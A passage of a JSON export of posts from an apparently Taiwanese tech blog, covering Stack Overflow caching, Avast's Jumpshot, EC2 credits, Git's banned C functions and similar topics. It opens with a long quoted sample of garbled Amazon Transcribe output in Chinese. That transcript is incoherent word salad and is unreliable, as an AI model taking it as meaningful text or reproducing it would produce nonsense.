(我把轉出來的東西丟到文章最後面)，不過應該只要另外再拿新的訓練資料就可以出台灣版了...\r\n\r\n<blockquote>加裙头加油全都一定要有对哎嗯啊先生走在国外人的感觉呢那那天没有融进了我们邀请到我们的干冰可以踢得哭来到学校那因为干爹在场所以我今天决定挑战间谍因为钢铁说他有一个专利我人去这个专利的特点就是在于说得简由他可以让石材外脆那那但是我觉得我这个人就是反恐因为我还是在青少年呃青少年就是跟叛逆所以干爹说这句话我就要想一下真的吗？感觉你确定吗干爹干爹不说话好男星所以呢我们今天请到了节目里面已经出现很多字的他说你要小姐另外一项呢就是用美国判断及的这两个都是热点然后来做比较那除此之外我要增加他的猪谁敢说我还会有一种机制这个呃七大锅里面她其实还有很多的配备怎么怎么打开而且这是强调这个头衔传啊让我把配件全部制造了这个创的吧这个时候就是穿露的那其实是架构教育的这一套啊我谁干爹那么天所以呃GDP我们就直接用这个好嘛啊那您觉得啊啊有可以有来再用医院但是全部都得上去我也是南部的人们从然后把装修呃我们一百八十六万调到了六分钟气氛中好人我们俩需要好妈妈如果你对呃石材比较不确定其实还有一个方便的功能就你可以暂停一下然后就把拉出来看一下然后就可以大概在判断较大还是要到那我们再延长一个一分装啊好吗嗯钢铁说话小张这时听到哎哟完美香气毕业了吴村的年轻人中就是年轻人好吧那我们看看里面的游子哦哎哟你看生命都是有虽然真的可以让他们减由我先试一下啊我不是还没有送钱都没有了然后我觉得吃得很只我小时候来讲呢应该说是一个嗯全世界啊你是唯一厮杀青陈家松与嗯你可以感到很清晰后来任把油倒出来也大概呀它地处都要由这么多的有由此很清澈你可以去买就出版有就就进去就被查出了还会受你知道吗了不少消费者的那那我们来做下一个步骤条面包啊从这个盘子监考盘所以如果说你这样一句还会有个老婆或者漂亮那就是说他这些系统喔他九十一由此啊还有一样那这个味道就会比较想让他也很简单哦红色的地方啊这当然是往下嘛所以现在是我们向我们的时候呢我们先浪土虱啊做一点那个心中简单仅仅这样做啊早上起来就是只有让我喜欢啊崔一点是吧调到两百度那在三分钟时间上慢慢家只有一次把他调侃嘛然后暂停动用了你拿出来看一下他后面实施有一个出风口你也可以用味道来判别他的手深度我们看我觉得我啊我非常漂亮，后来我们在调那个面哭的部分很简单啊，面粉一般的面粉就要然后我们失的部分呢就是用激战跟您来让他的仇动物啊哎，我比较十一点越丑小鸭翅总和七月后吗？有一种中国个人比较爱武旦角读起来标题然后我们不上去，但我们楼的部分我们先处理后一点的美国快本期的热点就是我们现在今天授权里面属于比较便宜的部分，所以我们用这一块儿事件啊那这一块呢比如说安心工作还没有结束的时候，我们收一下五年有的不有了然后我们三一年前要先说这个严家了我们现在这种哎呀大哦没有想回不能在政治顺心其实要想改变实际上都是正面肯定进去的路牌啊我看到我又怕我往嘛你啊但对待MARTIN哦所以看到长得不错哎呀因为这样子我觉得警示啊所以他不掉了就像我一直讲等先后发言会掉部分我了我就没看笑着啊，我真的好自己的好久我们来加紧朋友说尤的作用就是要让哈利颜色的消息，然后陈水扁会齐声一点点好吧，就知道这个双方就跟我们说呢，有啊，朝下然后呢我们上面说已经有，如果这部处打算今年的台，然后给我家附近那个选书记因为我常去买，那我就不用怕不健康。我老婆也不一致认为那那这一块他们叫后我们一定要里面找到他的首度，所以我会得到大家百八十左右天桥的五分钟，六分钟后让我们等一下，我们中途一定要拿起来看一下其他的首都够。之后我们就抓住了如果注册的演示文稿放下，然后买条这样子那挑战这个时候其实我们也可以开始准备了一年部分这样子很简单，就这样我们给大家一点揭幕了加一点好吧，跳啊这一吗？奶黄酱这么多钱的一笔哦，这不，这一点的药事实上味道让当不是我是寒不要咬嗯各位好我我们马背半天哈不好书最自认哦另外说台不是只有没有买油库啊连考生都得不够吗？干爹呀今天高科技呀这个是指输液又村日本大叶高岛屋啊而且哎来然后由子然后肉吃都吃多的我们试试一下那只暖的我刚还想说他的手都不会太守小孩这样说我们看我们很鲜明下去就是说手把它这是完全打破一般已经由快的一个观念完全没有我们只牛排我们就是觉得欧盟要三分五分啊条文里面那头如果我刚室内口真的是外数那你那你那我们接下来来试试看我们的特点哈那所以我们先才我们要的大小要跟你放不公平的幺三零年嘛，是吧？那期考纲那个红感我是另外一个城市变得有着比较后未见你在专业训练谁都提着一这时候把它放心吧肯定一样一样他然后我们用这个监考盘放放进去河流的厚度要把我们需要用高温的帮助做所以呢我就说会调整两百多但是在三分钟我觉得差不多然后我们刚刚去给他这种完美哦能够为过了选情不会算嗯都有五他牛肉滚动软了好那好多次跟我说把陈选票啊因为哦他们那个肉吃跟他的软嫩度啊是无法想象会造成这样的的关系。就是因为他的过人气旋的关系是他导热啊非常非常的精神那地方我们就是和纽我它的颜色之美的农村或者是马士文并茂穗和外界最他说这个基地翠都被扣留的游子高付出我现在里面全部都很有味道了，就可以文件哎我因为我想要试试看他甚至我想的问题，所以我把和牛跟我们刚理了跑那时候我我说时候从来没有天牛排用机器以前从来没所以我先想到是一看他们不能达到五很快就会好的好那作战如果你想有自己的感觉哦舒服啊什么傻还是对这记载过？大家当时两美我们的时候交点钱吧着跟你讲啊有一个比送委员更高级的人所谓是没有告诉你们也就说像爷爷俗称的钻石言之比中国的东西甜度比较高因为它又是矿物远所以他配死牛排的帖子但这一块我们减去了这帮不了我就把画干爹的都是为他就说你为当天知道了多台我吃多的人嗯嗯嗯我从来没酒不喝酒可以的你看我要你很多次吃好多出温爽你好高天呐你不要让对我说我结婚了嗯大概我们的和牛啊我就是不这个大火经过的而且还就这样都现场收音啊你们不要例子之一叫哦哦有些人知道他们强调的里面的肉松软的你你不要不要公布我就是考的时间一个尊重爸爸让我有口饭吃吧。我我真心觉得这个是一个现代科技理念，可能是小家庭，然后又走走健康啊，其实你买一开他基本上什么都可以做，而且他没有让我的话，你就让我们一起能多那种，两年就一些。我有点想用它来做一些任务时，部队想到如果听得懂就听得到了。</blockquote>",
    "title": "Amazon Transcribe (語音轉文字) 支援中文"
  },
  {
    "id": "9170",
    "body": "這篇是 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 在講 cache 的文章，裡面不是什麼新東西，只是看到有趣的項目所以拿出來講：「<a href=\"https://stackoverflow.blog/2019/08/06/how-stack-overflow-caches-apps-for-a-multi-tenant-architecture/\">How Stack Overflow Caches Apps for a Multi-Tenant Architecture</a>」。\r\n\r\n在講 cache 前通常都會說明各種儲存空間速度的差異，但裡面混了一個奇怪的東西：\r\n\r\n<ul>\r\n\t<li>L1: 1.3ns</li>\r\n\t<li>L2: 3.92ns (3x slower)</li>\r\n\t<li>L3: 11.11ns (8.5x slower)</li>\r\n\t<li>DDR4 RAM: 100ns (77x slower)</li>\r\n\t<li>NVMe SSD: 120,000ns (92,307x slower)</li>\r\n\t<li>SATA/SAS SSD: 400,000ns (307,692x slower)</li>\r\n\t<li>Rotational HDD: 2–6ms (1,538,461x slower)</li>\r\n\t<li><strong>Microsoft Live Login: 12 redirects and 5s (3,846,153,846x slower, approximately)</strong></li>\r\n</ul>\r\n\r\n裡面混了一個不是 storage 的東西進去比較，你們是對 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的帳號系統有多不爽 XDDD\r\n\r\n另外他們列出了目前 <a href=\"https://redis.io/\">Redis</a> 的使用情況：\r\n\r\n<blockquote>For the curious, some quick stats from last Tuesday (2019-07-30) This is across all instances on the primary boxes (because we split them up for organization, not performance…one instance could handle everything we do quite easily):\r\n\r\n<ul>\r\n\t<li>Our Redis physical servers have 256GB of memory, but less than 96GB used.</li>\r\n\t<li>1,586,553,473 commands processed per day (3,726,580,897 commands and 86,982 per second peak across all instances – due to replicas)</li>\r\n\t<li>Average of 2.01% CPU utilization (3.04% peak) for the entire server (< 1% even for the most active instance)</li>\r\n\t<li>124,415,398 active keys (422,818,481 including replicas)</li>\r\n\t<li>Those numbers are across 308,065,226 HTTP hits (64,717,337 of which were question pages)</li>\r\n</ul>\r\n</blockquote>\r\n\r\n然後更長的版本可以在作者自己的 blog 上讀到，裡面講到的 cache invalidate (purge) 這部份有談到一些他們的作法：「<a href=\"https://nickcraver.com/blog/2019/08/06/stack-overflow-how-we-do-app-caching/\">Stack Overflow: How We Do App Caching - 2019 Edition</a>」。",
    "title": "StackOverflow 講 cache 的文章..."
  },
  {
    "id": "9172",
    "body": "看到「<a href=\"https://sparktoro.com/blog/less-than-half-of-google-searches-now-result-in-a-click/\">Less than Half of Google Searches Now Result in a Click</a>」這篇，在說明 <a href=\"https://www.google.com/\">Google</a> 的搜尋結果頁面內的行為大幅偏頗 Google 自家服務的問題，這個問題最近幾個禮拜開始紅了起來...\r\n\r\n但另外一點值得注意的是裡面提到 <a href=\"https://www.jumpshot.com/\">Jumpshot</a> 這個服務可以分析使用者的頁面以及行為這件事情...\r\n\r\n在 2013 年 <a href=\"https://www.avast.com/\">Avast</a> 買下 Jumpshot：「<a href=\"https://press.avast.com/avast-software-acquires-jumpshot-to-work-magic-against-slow-pc-performance\">AVAST Software Acquires Jumpshot to Work Magic Against Slow PC Performance</a>」，當時的目標是效能：\r\n\r\n<blockquote>Having served as PC tech consultants to their friends and family, their goal was to build a product to help less tech-savvy PC users optimize and tune up their PC performance, cleaning it from unpleasant toolbars and junk software.</blockquote>\r\n\r\n但在 2015 年的時候就可以看到 Avast 在他們自家的論壇上有說明，Avast 會收資料丟進 Jumpshot：「<a href=\"https://forum.avast.com/index.php?topic=171725.0\">Avast and Jumpshot</a>」。\r\n\r\n<blockquote>These aggregated results are the only thing that Avast makes available to Jumpshot customers and end users.</blockquote>\r\n\r\n而藉由這些資料而提供服務。",
    "title": "透過 Avast 防毒軟體蒐集資料的 Jumpshot"
  },
  {
    "id": "9173",
    "body": "剛好跟同事聊到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 T2/T3 Unlimited，因為有些疑惑所以回家查了一下資料，發現以前的理解不夠完整。這是 T2/T3 Unlimited 的說明文件：「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances-unlimited-mode.html\">Unlimited Mode for Burstable Performance Instances</a>」。\r\n\r\n在文件的這塊說明了 T2/T3 Unlimited 模式的計算方式：\r\n\r\n<blockquote>When its CPU utilization falls below the baseline, it uses the CPU credits that it earns to pay down the surplus credits that it spent earlier. The ability to earn CPU credits to pay down surplus credits enables Amazon EC2 to average the CPU utilization of an instance over a 24-hour period. If the average CPU usage over a 24-hour period exceeds the baseline, the instance is billed for the additional usage at a flat additional rate per vCPU-hour.</blockquote>\r\n\r\n我本來以為是剩下的 CPU credit 不夠時就會被收費，但依照官方文件的說明，是可以用後面賺到的 CPU credit 支付前面使用的 CPU credit，而可跨越的時間區間是 24 小時。\r\n\r\n所以有時候會在 AWS web console 上看到 CPU 沒有在用，但是 CPU credit 卻長回不來的情況，是因為這時候還在還之前的債...",
    "title": "重新了解 Amazon EC2 的 T2/T3 Unlimited"
  },
  {
    "id": "9175",
    "body": "剛剛看到 <a href=\"https://trac.edgewall.org/\">Trac</a> 出了 1.4 的消息，雖然還是在用 Python 2：「<a href=\"https://trac.edgewall.org/wiki/TracDev/ReleaseNotes/1.4\">Release Notes for Trac 1.4 Jinja Release</a>」。\r\n\r\n其中一個比較大的改變是 template engine 換掉了，從 <a href=\"https://www.edgewall.org/\">Edgewall</a> 自家的 <a href=\"https://genshi.edgewall.org/\">Genshi</a> 換到 <a href=\"https://pypi.org/project/Jinja2/\">Jinja2</a> 上，目前看起來兩者都可以用，但可以預期現有的 template 要找時間換過去：「<a href=\"https://trac.edgewall.org/ticket/10635\">5 times speed-up when rendering query results, thanks to the migration from Genshi to Jinja2.</a>」。\r\n\r\n其他的改變應該還好，找個週末來把自己的 Trac 備份起來測試好了...",
    "title": "Trac 1.4"
  },
  {
    "id": "9176",
    "body": "先前 <a href=\"https://www.facebook.com/\">Facebook</a> 已經先發表過 <a href=\"https://fasttext.cc/\">fastText</a> 了，在這個月的月初又發表了另外一個演算法 Misspelling Oblivious Embeddings (MOE)，是搭著本來的 fastText 而得到的改善：「<a href=\"https://ai.facebook.com/blog/-a-new-model-for-word-embeddings-that-are-resilient-to-misspellings-/\">A new model for word embeddings that are resilient to misspellings</a>」。\r\n\r\nFacebook 的說明提到在 user-generated text 的內容上，MOE 的效果比 fastText 好：\r\n\r\n<blockquote>We checked the effectiveness of this approach considering different intrinsic and extrinsic tasks, and found that MOE outperforms fastText for user-generated text.</blockquote>\r\n\r\n論文發表在 <a href=\"https://arxiv.org/abs/1905.09755\">arXiv</a> 上：「<a href=\"https://arxiv.org/abs/1905.09755\">Misspelling Oblivious Word Embeddings</a>」。\r\n\r\n依照介紹，fastText 的重點在於 semantic loss，而 MOE 則多了 spell correction loss：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gl1toA2.webp\" /><img src=\"https://i.gslin.com/imgur/gl1toA2.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>The loss function of fastText aims to more closely embed words that occur in the same context. We call this semantic loss. In addition to the semantic loss, MOE also considers an additional supervisedloss that we call spell correction loss. The spell correction loss aims to embed misspellings close to their correct versions by minimizing the weighted sum of semantic loss and spell correction loss.</blockquote>\r\n\r\n不過目前 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/facebookresearch/moe\">facebookresearch/moe</a> 只有放 dataset，沒有 open source 出來讓人直接用，可能得自己刻...",
    "title": "Facebook 修正錯字的新演算法"
  },
  {
    "id": "9177",
    "body": "標題雖然是「<a href=\"https://www.nextplatform.com/2019/08/20/big-blue-open-sources-power-chip-instruction-set/\">Big Blue Open Sources Power Chip Instruction Set</a>」，但實質上應該就是 <a href=\"https://www.ibm.com/\">IBM</a> 把 <a href=\"https://openpowerfoundation.org/\">OpenPOWER Foundation</a> 交給 <a href=\"https://www.linuxfoundation.org/\">The Linux Foundation</a>。\r\n\r\n找了一下兩邊的新聞稿，其中 The Linux Foundation 的新聞稿在「<a href=\"https://www.linuxfoundation.org/press-release/2019/08/the-linux-foundation-announces-new-open-hardware-technologies-and-collaboration/\">The Linux Foundation Announces New Open Hardware Technologies and Collaboration</a>」這邊，但 OpenPOWER 的網站好像從 2018 年年底就沒更新了...\r\n\r\n開放硬體最近比較紅的應該是 <a href=\"https://riscv.org/\">RISC-V</a> 與 <a href=\"https://openrisc.io/\">OpenRISC</a> 這些專案？IBM 這一招不知道是怎麼樣...",
    "title": "IBM 把 OpenPOWER Foundation 交給 The Linux Foundation"
  },
  {
    "id": "9178",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/route53/\">Route 53</a> 增加了 Query 數量的資訊 (加到 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 內)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/08/amazon-route-53-now-publishes-query-volume-metrics-for-public-hosted-zones/\">Amazon Route 53 Now Publishes Query Volume Metrics for Public Hosted Zones</a>」。\r\n\r\n下午的時候連進去看沒看到，回家後想起來 Route 53 是全球性服務，切到 <code>us-east-1</code> 上就看到了...\r\n\r\n算是很基本的功能，這樣可以很方便的看一下使用情況，然後就可以透過這些資料調整 TTL，有些為了要快速切換的可以設短一點，有些不太變動但 query 量很大的則是要設長一點...",
    "title": "Amazon Route 53 增加了即時的 Query 數量資訊"
  },
  {
    "id": "9179",
    "body": "<a href=\"https://aws.amazon.com/systems-manager/\">AWS System Manager</a> 宣佈支援了 SSH Port Forwarding 的功能 (也就是 <a href=\"https://www.openssh.com/\">OpenSSH</a> 指令裡的 <code>-L</code>)：「<a href=\"https://aws.amazon.com/blogs/aws/new-port-forwarding-using-aws-system-manager-sessions-manager/\">New – Port Forwarding Using AWS System Manager Sessions Manager</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2xAUAqW.webp\" /><img src=\"https://i.gslin.com/imgur/2xAUAqW.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SzH7E2r.webp\" /><img src=\"https://i.gslin.com/imgur/SzH7E2r.jpg\" alt=\"\" /></picture>\r\n\r\n以往是連到那台主機上後，再透過 <code>-R</code> 反過來再穿一層，但這必須在那台機器有 Internet 存取權限的情況下才有辦法做... 這次的方法是 AWS System Manager 直接提供了，所以只需要可以連到主機就可以做。",
    "title": "AWS System Manager 支援 SSH 的 -L 功能 (Port Forwarding)"
  },
  {
    "id": "9180",
    "body": "<a href=\"https://www.nature.com/\">Nature</a> 上點出來期刊論文裡自我引用的問題 (這邊的自我引用包括了合作過的人)：「<a href=\"https://www.nature.com/articles/d41586-019-02479-7\">Hundreds of extreme self-citing scientists revealed in new database</a>」。\r\n\r\n開頭舉了一個極端的例子，Vaidyanathan 的自我引用比率高達 94%，而學界的中位數是 12.7%，感覺是有某種制度造成的行為？\r\n\r\n<blockquote>Vaidyanathan, a computer scientist at the Vel Tech R&amp;D Institute of Technology, a privately run institute, is an extreme example: he has received 94% of his citations from himself or his co-authors up to 2017, according to a study in PLoS Biology this month. He is not alone. The data set, which lists around 100,000 researchers, shows that at least 250 scientists have amassed more than 50% of their citations from themselves or their co-authors, while the median self-citation rate is 12.7%.</blockquote>\r\n\r\n會想要提是因為想到當年 <a href=\"https://www.google.com/\">Google</a> 的經典演算法 <a href=\"https://en.wikipedia.org/wiki/PageRank\">PageRank</a>，就是在處理這個問題... 把 paper 換成 webpage 而已。",
    "title": "引用自己論文的問題..."
  },
  {
    "id": "9181",
    "body": "東海道・山陽新幹線與九州新幹線在明年五月要導入大型行李管制機制：「<a href=\"https://www3.nhk.or.jp/news/html/20190829/k10012055581000.html\">新幹線へ持ち込みの大型荷物 予約制に</a>」，官方的新聞稿在「<a href=\"https://www.westjr.co.jp/press/article/2019/08/page_14790.html\">東海道・山陽・九州新幹線特大荷物置場の設置と事前予約制の導入について</a>」這邊。\r\n\r\n限制的對象是長寬高三邊加起來超過 160cm，且在 250cm 以內的行李，會安排在空間讓你可以放置。事前預約不用錢，臨時則需要 1000 日幣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Lufopaw.webp\" /><img src=\"https://i.gslin.com/imgur/Lufopaw.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>ＪＲ東海などによりますと、事前の予約が必要になるのは東海道・山陽新幹線と九州新幹線で、荷物は車両の後部にあるスペースやデッキに設けられる予定の鍵付きの専用のコーナーに置きます。\r\n\r\n対象となるのは、大型のスーツケースなど３辺の合計が160センチを超えて250センチまでの荷物で、窓口やインターネットなどで、事前に指定席とセットで予約する必要があります。\r\n\r\n事前に予約をして荷物を持ち込んだ場合は無料ですが、予約をしていない場合には、有料となり、1000円を支払わなければなりません。</blockquote>\r\n\r\n看了一下我自己有在用的 27 吋戰車規格，還在範圍內：\r\n\r\n<blockquote>(外部) 高65cm(不含輪高) 寬45cm 厚29cm 重量5.2 kg \r\nABS 塑料</blockquote>\r\n\r\n翻了「<a href=\"https://24h.pchome.com.tw/store/DIBKH8\">尺吋│28吋以上 - PChome 24h購物</a>」這頁看了一下，29 吋有些有超過，有些沒超過，對於之後要去日本拉行李的人 (常發生在買 <a href=\"http://www.japanrailpass.net/\">JR Pass</a>，或是不同點進出的人) 應該要注意一下了...\r\n\r\n目前公佈的是這兩個區段：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kMa69r6.webp\" /><img src=\"https://i.gslin.com/imgur/kMa69r6.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TjcAl1K.webp\" /><img src=\"https://i.gslin.com/imgur/TjcAl1K.jpg\" alt=\"\" /></picture>",
    "title": "行李箱搭乘新幹線的限制"
  },
  {
    "id": "9182",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 開了歐洲機房，所以包括了一般性的 <a href=\"https://www.backblaze.com/cloud-backup.html\">Computer Backup</a> 與 <a href=\"https://www.backblaze.com/b2/cloud-storage.html\">B2 Cloud Storage</a> 都可以選擇要放哪邊了...\r\n\r\n歐洲的點是放在荷蘭：\r\n\r\n<blockquote>Big news: Our first European data center, in Amsterdam, is open and accepting customer data!</blockquote>\r\n\r\n價錢也都跟美國的相同：\r\n\r\n<blockquote>Whether you choose EU Central or US West, your pricing for our products will be unchanged:</blockquote>\r\n\r\n對於在意資料放美國機房的問題應該有緩解一些...",
    "title": "Backblaze 開了歐洲區機房"
  },
  {
    "id": "9183",
    "body": "<a href=\"https://www.android.com/\">Android</a> 版的 <a href=\"https://www.facebook.com/\">Facebook</a> 把整個 system library 的 metadata 都傳上去了：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Facebook scans system libraries from their Android app user’s phone in the background and uploads them to their server<br><br>This is called &quot;Global Library Collector&quot; at Facebook, known as &quot;GLC&quot; in app’s code<br><br>It periodically uploads metadata of system libraries to the server <a href=\"https://t.co/olwk1BPMoQ\">pic.twitter.com/olwk1BPMoQ</a></p>&mdash; Jane Manchun Wong (@wongmjane) <a href=\"https://twitter.com/wongmjane/status/1167463054709334017?ref_src=twsrc%5Etfw\">August 30, 2019</a></blockquote>\r\n\r\n而在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上，目前沒有觀察到類似的行為：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">really interesting catch Jane. I have not seen this in the iOS version. my bet is that they want better stability on Android so want to analyze system library variants - and apparently did not even think to ask user permission.</p>&mdash; Will Strafach (@chronic) <a href=\"https://twitter.com/chronic/status/1167468620999360513?ref_src=twsrc%5Etfw\">August 30, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這些資訊足以識別裝置的單一性，而且難以更改，對於廣告有超大的幫助...",
    "title": "Android 版的 Facebook 蒐集大量系統資訊"
  },
  {
    "id": "9184",
    "body": "最近還蠻紅的新聞之一，<a href=\"https://www.microsoft.com/\">Microsoft</a> 官方決定讓 Linux Kernel 可以實做 <a href=\"https://en.wikipedia.org/wiki/ExFAT\">exFAT</a>：「<a href=\"https://cloudblogs.microsoft.com/opensource/2019/08/28/exfat-linux-kernel/\">exFAT in the Linux kernel? Yes!</a>」。公開的規格書在「<a href=\"https://docs.microsoft.com/en-us/windows/win32/fileio/exfat-specification\">exFAT file system specification</a>」這邊。\r\n\r\n先前一直有 patch，所以技術上一直不是大問題，真正沒進 kernel 的原因之一就是專利，現在微軟的授權也不是開放給所有使用 Linux 的人？而是以 OIN 會員為主：\r\n\r\n<blockquote>We also support the eventual inclusion of a Linux kernel with exFAT support in a future revision of the Open Invention Network’s Linux System Definition, where, once accepted, the code will benefit from the defensive patent commitments of OIN’s 3040+ members and licensees.</blockquote>\r\n\r\n不知道 Linux 這邊會不會喊卡，感覺不是什麼善意，更像是 PR 性的攻擊...",
    "title": "微軟授權讓 exFAT 進 Linux Kernel 的新聞..."
  },
  {
    "id": "9185",
    "body": "在「<a href=\"http://blogs.perl.org/users/ovid/2019/08/is-perl-6-being-renamed.html\">Is Perl 6 Being Renamed?</a>」這邊看到提到 <a href=\"https://www.perl.org/\">Perl</a> 6 名字的問題，主要是因為 Perl 6 跟現有 Perl 5 已經是不同的東西 (有點類似於當初 <a href=\"https://www.python.org/\">Python</a> 2 到 Python 3 的計畫，但是差異比 Python 那邊多很多)，而導致被提出來討論是否還要繼續使用 Perl 這個名字了：「<a href=\"https://github.com/perl6/problem-solving/issues/81\">\"Perl\" in the name \"Perl 6\" is confusing and irritating</a>」。\r\n\r\n<blockquote>When Perl 6 was announced, it was seen the way that Perl 2, Perl 3, Perl 4, and Perl 5 were seen: replacements for \"$VERSION - 1\". Over time, it became clear that though Perl 6 was in the same family as Perl 5, a straightforward migration path was unlikely. One only needs to look at the problems with Python 2 and Python 3 and the upgrade obstacles with their minor syntactic differences to understand that an upgrade from Perl 5 to Perl 6 isn't trivial.</blockquote>\r\n\r\n如果把 Perl 5 與 Perl 6 當作不同的程式語言來看，這個問題就變成非技術性的問題了 (甚至是政治問題)。\r\n\r\n接下來應該會是一連串混亂的討論，但解決問題的第一步永遠是先面對問題，至少這個問題被拿到檯面上「討論」了...",
    "title": "Perl 6 的名字被拿出來談..."
  },
  {
    "id": "9186",
    "body": "在「<a href=\"https://kevq.uk/please-add-rss-support-to-your-site\">Please Add RSS Support To Your Site</a>」這邊看到文章作者在呼籲使用 <a href=\"https://en.wikipedia.org/wiki/RSS\">RSS</a> (這邊應該是包括 <a href=\"https://en.wikipedia.org/wiki/Atom_(Web_standard)\">Atom</a>)。\r\n\r\n主要是 RSS/Atom 算是很成熟的架構了，有很多工具可以閱讀 (RSS/Atom Reader)，提昇閱讀的效率。像我是用 <a href=\"https://bazqux.com/\">Bazqux</a>，另外也有不少人在使用 <a href=\"https://www.feedly.com/\">Feedly</a>... 而除了訂閱外，RSS/Atom 也可以再串出去接其他東西，像是串到 <a href=\"https://ifttt.com/\">IFTTT</a> 後就可以接上 IFTTT 上面的應用程式。\r\n\r\n除了文章作者的呼籲以外，我自己也對我自己常用的網站操作 (在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/hasname/feedgen\">hasname/feedgen</a> 這邊)，把網頁結果轉成 RSS/Atom (裡面大多就是去讀 search 相關功能了)，這樣有新東西就可以透過 RSS/Atom Reader 讀到...",
    "title": "使用 RSS 的呼籲"
  },
  {
    "id": "9187",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://git-scm.com/\">Git</a> 裡面禁用的函式 (透過 <code>.h</code> 在編譯階段就擋下來)：「<a href=\"https://github.com/git/git/blob/master/banned.h\">banned.h</a>」，在開頭有說明原因：\r\n\r\n<pre>/*\r\n * This header lists functions that have been banned from our code base,\r\n * because they're too easy to misuse (and even if used correctly,\r\n * complicate audits). Including this header turns them into compile-time\r\n * errors.\r\n */</pre>\r\n\r\n就算用的正確也增加了稽核的難度... 這些被禁用的函式包括了：\r\n\r\n<ul>\r\n\t<li><code>strcpy()</code></li>\r\n\t<li><code>strcat()</code></li>\r\n\t<li><code>strncpy()</code></li>\r\n\t<li><code>strncat()</code></li>\r\n\t<li><code>sprintf()</code></li>\r\n\t<li><code>vsprintf()</code></li>\r\n</ul>\r\n\r\n所以應該是用 <code>strlcpy()</code> 與 <code>strlcat()</code> 這些函式來處理字串，另外用 <code>snprintf()</code> 與 <code>vsnprintf()</code> 來處理格式...",
    "title": "Git 裡面禁用的函式..."
  },
  {
    "id": "9188",
    "body": "以前有人曾經定義過十六進位的英語念法... 當作是歷史在看 XD\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Who knew there was a sort of hanky code for hexadecimal. Thanks Datamation magazine from 1968 <a href=\"https://twitter.com/hashtag/prelingerwiki?src=hash&amp;ref_src=twsrc%5Etfw\">#prelingerwiki</a> <a href=\"https://t.co/WHj5x0Bm5o\">pic.twitter.com/WHj5x0Bm5o</a></p>&mdash; Liz Henry (@lizhenry) <a href=\"https://twitter.com/lizhenry/status/1165760903809130496?ref_src=twsrc%5Etfw\">August 25, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "十六進位的英語念法..."
  },
  {
    "id": "9190",
    "body": "早上看到「<a href=\"https://news.ycombinator.com/item?id=20854214\">Tell HN: Thank you for not redesigning Hacker News</a>」這篇，作者在網路速度受限的地區，上各種網站幾乎都不會動，但 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 沒有改用一堆前端框架，而是保留使用 HTML 反而讓頁面維持極小：\r\n\r\n<blockquote>I’m currently in a country with low speed internet and the entire ‘modern’ web is basically unusable except HN, which still loads instantly. Reddit, Twitter, news and banking sites are all painfully slow or simply time out altogether.\r\n\r\nTo PG, the mods and whoever else is responsible: thank you for not trying to ‘fix’ what isn’t broken.</blockquote>\r\n\r\n順手開了一下網路工具來看，發現單一元件最大的居然是 <a href=\"https://en.wikipedia.org/wiki/Favicon\">favicon</a> XDDD：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zc31U9h.webp\" /><img src=\"https://i.gslin.com/imgur/zc31U9h.jpg\" alt=\"\" /></picture>\r\n\r\n照 <a href=\"https://en.wikipedia.org/\">Wikipedia</a> 上列出來的相容性，如果只支援 IE11+ 的話，看起來可以改用 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a>，大小就已經有明顯的改善了：\r\n\r\n<pre>-rw-r--r-- 1 gslin staff 7527 Sep  2 09:50 favicon.ico\r\n-rw-r--r-- 1 gslin staff 2598 Sep  2 09:51 favicon.png</pre>",
    "title": "Hacker News"
  },
  {
    "id": "9191",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://www.ebay.com/\">eBay</a> 提供了操作 <a href=\"https://en.wikipedia.org/wiki/Tab-separated_values\">TSV</a> 的工具組：「<a href=\"https://github.com/eBay/tsv-utils\">eBay/tsv-utils</a>」。\r\n\r\n看到了兩個比較少見的東西，第一個是軟體授權是 permissive license (Boost Software License)，第二個是使用的程式語言是 <a href=\"https://en.wikipedia.org/wiki/D_(programming_language)\">D</a>...\r\n\r\nTSV 的確是比 <a href=\"https://en.wikipedia.org/wiki/Comma-separated_values\">CSV</a> 好用不少，只是會用的單位好像有限...\r\n\r\n資料裡還蠻常見出現 <code>,</code> 的情況 (得用 double quote 包起來，但是再遇到 double quote 的時候就用 double double quote...)，但比較少遇到會有 tab 出現...",
    "title": "eBay 提供的 TSV 工具組"
  },
  {
    "id": "9192",
